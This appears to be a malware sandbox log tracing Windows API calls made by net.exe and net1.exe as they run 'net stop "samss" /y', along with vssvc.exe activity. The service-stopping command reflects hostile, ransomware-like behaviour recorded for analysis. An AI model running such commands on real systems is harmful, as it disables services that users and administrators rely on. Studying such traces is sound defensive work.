	[0251.117] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffe95b50, nSize=0x800, Arguments=0xffe97f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0251.118] GetFileType (hFile=0xb) returned 0x2
	[0251.118] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x12f648 | out: lpMode=0x12f648) returned 1
	[0251.119] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe95b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x12f640, lpReserved=0x0 | out: lpBuffer=0xffe95b50*, lpNumberOfCharsWritten=0x12f640*=0x34) returned 1
	[0251.119] GetFileType (hFile=0xb) returned 0x2
	[0251.119] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x12f648 | out: lpMode=0x12f648) returned 1
	[0251.120] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe71efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x12f640, lpReserved=0x0 | out: lpBuffer=0xffe71efc*, lpNumberOfCharsWritten=0x12f640*=0x2) returned 1
	[0251.121] NetApiBufferFree (Buffer=0x264d40) returned 0x0
	[0251.121] NetApiBufferFree (Buffer=0x26c0e0) returned 0x0
	[0251.121] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0251.121] exit (_Code=2) 

Process:
	id = "60"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x79383000"
	os_pid = "0x345c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2976
	os_tid = 0x3460


Process:
	id = "61"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x789da000"
	os_pid = "0x3994"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3315
	os_tid = 0x3998


Process:
	id = "62"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x74fea000"
	os_pid = "0x39dc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "60"
	os_parent_pid = "0x345c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3330
	os_tid = 0x39e0

	[0254.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fe90 | out: lpSystemTimeAsFileTime=0x18fe90*(dwLowDateTime=0x79e00520, dwHighDateTime=0x1d5cdef)) 
	[0254.319] GetCurrentProcessId () returned 0x39dc
	[0254.319] GetCurrentThreadId () returned 0x39e0
	[0254.319] GetTickCount () returned 0x1182d29
	[0254.319] QueryPerformanceCounter (in: lpPerformanceCount=0x18fe98 | out: lpPerformanceCount=0x18fe98*=39587916217) returned 1
	[0254.321] GetModuleHandleW (lpModuleName=0x0) returned 0xff570000
	[0254.401] __set_app_type (_Type=0x1) 
	[0254.401] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff589c9c) returned 0x0
	[0254.401] __getmainargs (in: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788, _DoWildCard=0, _StartInfo=0xff59479c | out: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788) returned 0
	[0254.401] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0254.401] GetConsoleOutputCP () returned 0x1b5
	[0254.402] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff59cec0 | out: lpCPInfo=0xff59cec0) returned 1
	[0254.402] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0254.406] sprintf_s (in: _DstBuf=0x18fe38, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0254.406] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0254.409] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0254.409] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0254.409] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0254.409] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0254.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6e) returned 0x1cc060
	[0254.410] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0254.410] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x18fe28 | out: Buffer=0x18fe28*=0x1c4d40) returned 0x0
	[0254.410] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x18fe28 | out: Buffer=0x18fe28*=0x1cc0e0) returned 0x0
	[0254.410] _fileno (_File=0x7fefe122a80) returned 0
	[0254.410] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0254.410] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0254.410] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0254.410] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0254.411] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0254.411] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0254.411] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0254.411] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0254.411] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0254.411] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0254.411] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0254.411] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0254.411] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0254.411] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0254.411] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0254.411] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0254.411] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0254.411] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0254.411] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0254.411] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0254.411] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0254.411] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0254.411] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0254.411] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0254.411] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0254.412] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0254.412] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0254.412] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0254.412] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0254.412] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0254.412] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0254.412] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0254.412] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0254.412] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0254.412] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0254.412] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0254.412] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0254.412] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0254.412] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0254.412] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0254.412] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0254.412] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0254.412] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0254.412] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0254.412] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0254.412] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0254.413] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0254.413] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0254.413] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0254.413] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0254.413] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0254.413] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0254.413] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0254.413] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0254.413] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0254.413] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0254.413] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0254.413] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0254.413] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0254.413] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0254.413] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0254.413] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0254.413] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0254.413] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0254.413] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0254.413] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0254.414] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0254.414] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x1ccdf0
	[0254.421] GetServiceKeyNameW (in: hSCManager=0x1ccdf0, lpDisplayName="SAMSS", lpServiceName=0xff595750, lpcchBuffer=0x18fd48 | out: lpServiceName="", lpcchBuffer=0x18fd48) returned 0
	[0254.423] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0254.423] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0254.423] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0254.423] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0254.423] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0254.423] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0254.423] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0254.423] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0254.423] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0254.423] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0254.423] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0254.423] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0254.423] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0254.424] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0254.424] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0254.424] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0254.424] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0254.424] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0254.424] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0254.424] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x18fd50 | out: bufptr=0x18fd50) returned 0x0
	[0254.427] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x18fd08 | out: Buffer=0x18fd08*=0x1d0c70) returned 0x0
	[0254.427] OpenServiceW (hSCManager=0x1ccdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x1cce50
	[0254.428] QueryServiceStatus (in: hService=0x1cce50, lpServiceStatus=0x18fcb0 | out: lpServiceStatus=0x18fcb0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0254.428] NetApiBufferFree (Buffer=0x1d0c70) returned 0x0
	[0254.428] CloseServiceHandle (hSCObject=0x1cce50) returned 1
	[0254.429] wcscpy_s (in: _Destination=0xff5980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0254.429] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0254.431] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0254.434] GetFileType (hFile=0xb) returned 0x2
	[0254.434] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x18fba8 | out: lpMode=0x18fba8) returned 1
	[0254.435] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x18fba0, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x18fba0*=0x47) returned 1
	[0254.435] GetFileType (hFile=0xb) returned 0x2
	[0254.436] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x18fba8 | out: lpMode=0x18fba8) returned 1
	[0254.436] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18fba0, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x18fba0*=0x2) returned 1
	[0254.437] _ultow (in: _Dest=0x88f, _Radix=1637392 | out: _Dest=0x88f) returned="2191"
	[0254.437] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0254.437] GetFileType (hFile=0xb) returned 0x2
	[0254.876] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x18fba8 | out: lpMode=0x18fba8) returned 1
	[0254.877] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x18fba0, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x18fba0*=0x34) returned 1
	[0254.877] GetFileType (hFile=0xb) returned 0x2
	[0254.878] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x18fba8 | out: lpMode=0x18fba8) returned 1
	[0254.878] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18fba0, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x18fba0*=0x2) returned 1
	[0254.879] NetApiBufferFree (Buffer=0x1c4d40) returned 0x0
	[0254.879] NetApiBufferFree (Buffer=0x1cc0e0) returned 0x0
	[0254.879] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0254.879] exit (_Code=2) 

Process:
	id = "63"
	image_name = "vssvc.exe"
	filename = "c:\\windows\\system32\\vssvc.exe"
	page_root = "0x191a000"
	os_pid = "0x364c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b7e890"
	monitor_reason = "rpc_server"
	parent_id = "54"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\vssvc.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00084a92" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 3377
	os_tid = 0x3a3c


Thread:
	id = 3378
	os_tid = 0x38ac


Thread:
	id = 3379
	os_tid = 0x2ae8

	[0256.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7dd60 | out: lpSystemTimeAsFileTime=0xe7dd60*(dwLowDateTime=0x7b2fa700, dwHighDateTime=0x1d5cdef)) 
	[0256.551] GetCurrentProcessId () returned 0x364c
	[0256.551] GetCurrentThreadId () returned 0x2ae8
	[0256.551] GetTickCount () returned 0x11835c1
	[0256.551] QueryPerformanceCounter (in: lpPerformanceCount=0xe7dd68 | out: lpPerformanceCount=0xe7dd68*=39811087819) returned 1
	[0256.551] malloc (_Size=0x100) returned 0x118e80

Thread:
	id = 3380
	os_tid = 0x35c


Thread:
	id = 3381
	os_tid = 0x37a4


Thread:
	id = 3382
	os_tid = 0x3650


Thread:
	id = 3398
	os_tid = 0x3ae0


Thread:
	id = 3505
	os_tid = 0x3c18


Thread:
	id = 3506
	os_tid = 0x3c1c


Process:
	id = "64"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x3458000"
	os_pid = "0x3b54"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "61"
	os_parent_pid = "0x3994"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3424
	os_tid = 0x3b58

	[0255.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fd30 | out: lpSystemTimeAsFileTime=0x26fd30*(dwLowDateTime=0x7a99b060, dwHighDateTime=0x1d5cdef)) 
	[0255.534] GetCurrentProcessId () returned 0x3b54
	[0255.534] GetCurrentThreadId () returned 0x3b58
	[0255.534] GetTickCount () returned 0x11831ea
	[0255.535] QueryPerformanceCounter (in: lpPerformanceCount=0x26fd38 | out: lpPerformanceCount=0x26fd38*=39709471989) returned 1
	[0255.537] GetModuleHandleW (lpModuleName=0x0) returned 0xff830000
	[0255.537] __set_app_type (_Type=0x1) 
	[0255.537] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff849c9c) returned 0x0
	[0255.537] __getmainargs (in: _Argc=0xff854780, _Argv=0xff854790, _Env=0xff854788, _DoWildCard=0, _StartInfo=0xff85479c | out: _Argc=0xff854780, _Argv=0xff854790, _Env=0xff854788) returned 0
	[0255.764] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0255.764] GetConsoleOutputCP () returned 0x1b5
	[0255.765] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff85cec0 | out: lpCPInfo=0xff85cec0) returned 1
	[0255.765] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0255.769] sprintf_s (in: _DstBuf=0x26fcd8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0255.769] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0255.772] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0255.772] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0255.772] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0255.772] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26fa70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0255.772] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x6e) returned 0x37c060
	[0255.773] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0255.773] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26fcc8 | out: Buffer=0x26fcc8*=0x374d40) returned 0x0
	[0255.773] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26fcc8 | out: Buffer=0x26fcc8*=0x37c0e0) returned 0x0
	[0255.773] _fileno (_File=0x7fefe122a80) returned 0
	[0255.773] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0255.773] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0255.773] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0255.773] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0255.774] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0255.774] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0255.774] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0255.774] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0255.774] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0255.774] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0255.774] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0255.774] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0255.774] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0255.774] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0255.774] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0255.774] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0255.774] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0255.774] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0255.774] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0255.774] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0255.774] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0255.774] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0255.775] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0255.775] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0255.775] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0255.775] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0255.775] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0255.775] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0255.775] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0255.775] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0255.775] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0255.775] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0255.775] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0255.775] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0255.775] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0255.775] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0255.775] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0255.775] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0255.775] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0255.775] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0255.776] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0255.776] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0255.776] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0255.776] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0255.776] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0255.776] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0255.776] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0255.776] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0255.776] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0255.776] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0255.776] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0255.776] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0255.776] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0255.776] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0255.776] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0255.776] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0255.776] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0255.776] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0255.776] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0255.776] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0255.777] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0255.777] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0255.777] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0255.777] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0255.777] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0255.777] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0255.777] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0255.777] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x37cdf0
	[0255.785] GetServiceKeyNameW (in: hSCManager=0x37cdf0, lpDisplayName="SAMSS", lpServiceName=0xff855750, lpcchBuffer=0x26fbe8 | out: lpServiceName="", lpcchBuffer=0x26fbe8) returned 0
	[0255.787] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0255.787] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0255.787] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0255.787] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0255.787] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0255.787] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0255.787] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0255.787] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0255.787] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0255.787] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0255.787] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0255.787] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0255.787] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0255.787] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0255.788] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0255.788] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0255.788] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0255.788] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0255.788] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0255.788] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x26fbf0 | out: bufptr=0x26fbf0) returned 0x0
	[0255.791] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x26fba8 | out: Buffer=0x26fba8*=0x380c70) returned 0x0
